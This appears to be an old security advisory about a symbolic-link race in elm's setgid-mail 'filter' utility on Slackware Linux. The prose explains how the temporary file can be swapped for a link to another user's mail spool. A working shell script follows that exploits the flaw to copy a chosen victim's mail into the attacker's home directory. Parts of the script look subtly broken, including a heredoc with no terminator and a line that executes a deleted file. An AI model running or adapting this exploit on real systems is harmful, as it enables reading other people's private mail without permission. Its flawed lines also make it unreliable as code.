filter, an elm utility


    linux - Slackware 3.0, others with sgid mail filter


    The elm filter  under linux runs  sugrp mail, thus  allowing it to
    freely read and write from users mail spools.  It is only  through
    the  integrity  of  its  code  that  the  security of linux's mail
    system is  protected; and  in this  respect it  falls short.   The
    failure of the filter  program to properly handle  temporary files
    allows  a  user  to  read  or  write  to  any user's mail spool, a
    significant security hole.

    The specific  problem that  is exploited  in this  hole is the way
    filter uses a temporary  file to store the  input to it, and  then
    subsequently send it  back out according  to the filter.   Because
    of  the  modularity  of  the  coding,  in  the  main filter.c, the
    temporary file is opened, and  then written to; after which  it is
    closed.   The  mailmessage  function  is  then  called,  with  the
    purpose of forwarding  that mail, written  to the temporary  file,
    to whatever destination is specified in the filter.  At the  start
    of this process,  the temporary file  is opened, and  the contents
    of it are dumped to the mail  spool of the user the mail is  being
    forwarded to.

    At  any  point  after  the  file  has been initially opened by the
    main  filter  function,   since  the  user   running  filter   has
    permissions on  that temp  file, it  can be  rm'd.   The temp file
    existing can  then be  replaced with  a symbolic  link to any file
    that group mail  has read permissions  on.  When  it is opened  in
    the  mailmessage  function,  the  symbolic  link  is  followed and
    whatever  file  that  was  pointed  to  will  be  read in, and the
    contents forwarded to the user specified in the mail spool.

# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
# Usage: victimsusername
# Contents will be stored in ~/victimsusername.mail

cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp

cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
Subject: Filter Exploit


echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail